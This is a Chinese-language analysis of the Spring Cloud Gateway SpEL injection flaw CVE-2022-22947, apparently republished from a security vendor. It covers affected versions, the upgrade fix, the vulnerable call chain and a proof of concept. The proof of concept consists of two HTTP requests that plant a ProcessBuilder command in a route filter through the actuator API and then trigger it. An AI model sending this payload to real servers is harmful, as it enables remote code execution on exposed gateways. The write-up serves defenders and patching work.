当前位置: 首页 > news >正文

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

漏洞概要

Spring Cloud Gateway 是Spring Cloud 生态中的API网关,包含限流、过滤等API治理功能。
Spring官方在2022年3月1日发布新版本修复了Spring Cloud Gateway中的一处代码注入漏洞。当actuator端点开启或暴露时,可以通过http请求修改路由,路由中包含的恶意filter参数会经过SPEL表达式解析,从而导致远程主机执行任意代码。

  • 影响范围:
    org.springframework.cloud:spring-cloud-gateway-server@[3.1.0, 3.1.1)
    org.springframework.cloud:spring-cloud-gateway-server@[2.2.6.RELEASE, 3.0.7)
  • 修复方案:
    将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.1.1 及以上版本
    将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.0.7 及以上版本
  • 漏洞链接:https://www.oscs1024.com/hd/MPS-2022-1077

以下内容来自公众号《安全日记》 Erikten 对该漏洞的分析:

0x00 环境搭建

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析,直接去 GitHub 上下载即可。

git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0

0x01 漏洞分析

首先这个漏洞的本质就是一个Spel表达式注入。漏洞的触发点位于org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue,看diff点可以发现在安全版本中官方将StandardEvaluationContext更换为了GatewayEvaluationContext去执行Spel表达式

[图片]

我们回溯一下getValue这个方法,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#ShortcutType这个枚举中的DEFAULT被调用

[图片]

那么就去跟一下哪里调了ShortcutType.DEFAULT,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#shortcutType调用了它

[图片]

最终在org/springframework/cloud/gateway/support/ConfigurationService.java#normalizeProperties对filter属性进行解析,最后进入getValue执行SPEL表达式造成SPEL表达式注入。

[图片]

继续向上,来到org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters,根据这个方法的名字大概也能猜出它的做作用,就是添加路由filters

[图片]

继续重复之前的操作(向上回溯),会找到这么一条调用链

RouteDefinitionRouteLocator#loadGatewayFilters ->
RouteDefinitionRouteLocator#getFilters -> 
RouteDefinitionRouteLocator#convertToRoute -> 
RouteDefinitionRouteLocator#getRoutes -> 
GatewayControllerEndpoint#routes

[图片]

整体流程大致了解了,就是添加路由filter然后访问,通过getValue触发Spel注入最终完成RCE,那么怎么添加路由呢?我们去看下手册https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

[图片]

来到org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save,可以看到POST的请求体对应的内容

[图片]

Filters内容

[图片]

0x02 构造PoC

首先创建路由filter

POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 212{"id": "test","filters": [{"name": "AddResponseHeader","args": {"name": "any","value": "#{new ProcessBuilder(\"calc\").start()}"}}],"uri": "http://test.com"
}

发包可以发现payload已经注入进filter了

[图片]

接下来刷新一下

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 2

首先在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties遍历filters属性

[图片]

接着通过org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize调getValue解析属性

[图片]

造成Spel注入
[图片]

最终解锁计算器

[图片]

0x03 参考链接

https://www.cnblogs.com/bitterz/p/15964852.html

  • https://xz.aliyun.com/t/11004#toc-1

免费情报订阅 & 代码安全检测

墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司,核心团队来自百度、华为、乌云等企业,公司为客户提供完整的软件供应链安全管理平台,围绕SBOM提供软件全生命周期的安全管理,平台能力包括软件成分分析、源安全管理、容器镜像检测、漏洞情报预警及商业软件供应链准入评估等多个产品。为客户提供从供应链资产识别管理、风险检测、安全控制、一键修复的完整控制能力。同时产品可以极低成本的和现有开发流程中的各种工具一键打通,包括 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等数十种工具无缝集成。

代码安全检测: https://www.murphysec.com/?sf=1vi9zs
情报订阅: https://www.oscs1024.com/cm/?sf=1vi9zs
漏洞库:https://www.oscs1024.com/hl/?sf=1vi9zs

[图片]

http://www.lryc.cn/news/17616.html

相关文章:

  • Firebase常用功能和官方Demo简介
  • MATLAB R2020a 与PreScan8.5.0 详细安装教程(图文版)
  • CNI 网络流量 4.3 Calico felix
  • 超声波风速风向传感器的通讯协议
  • JVM笔记(8)—— 直接内存
  • Unity性能优化:如何优化Drawcall
  • 类与对象(this 关键字、构造器)
  • [NOIP2002 普及组] 过河卒
  • redis事务和锁机制
  • Java实例——线程
  • 云计算学习课程——越来越重要的云安全
  • Android 高性能列表:RecyclerView + DiffUtil
  • 为什么派生类的构造函数必须在初始化列表中调用基类的构造函数
  • 2023年2月初某企业网络工程师面试题【建议收藏】
  • 分布式下(sso)单点登录
  • PMP真的有那么厉害?你需要考PMP吗?
  • 高通平台开发系列讲解(WIFI篇)802.11 基本概念
  • 扬帆优配|反弹涨超70%,昨收三连板,稀土行业或迎大事件
  • 华为OD机试 - 工号不够用了(Java) | 机试题+算法思路+考点+代码解析 【2023】
  • Python学习-----lambda式匿名函数
  • 华为OD机试真题Python实现【求解连续数列】真题+解题思路+代码(20222023)
  • 每日学术速递2.22
  • postgresql 数据库 主从切换 测试
  • 干旱预测方法总结及基于人工神经网络的干旱预测案例分析(MATLAB全代码)
  • 一篇文章弄清楚啥是数组和集合
  • 计算机网络(五):三次握手和四次挥手,TCP,UDP,TIME-WAIT,CLOSE-WAIT,拥塞避免,
  • 【数据结构】二叉树(C语言实现)
  • 高级信息系统项目管理(高项 软考)原创论文——成本管理(2)
  • 代码签名即将迎来一波新关注
  • 黑盒渗透盲打lampiao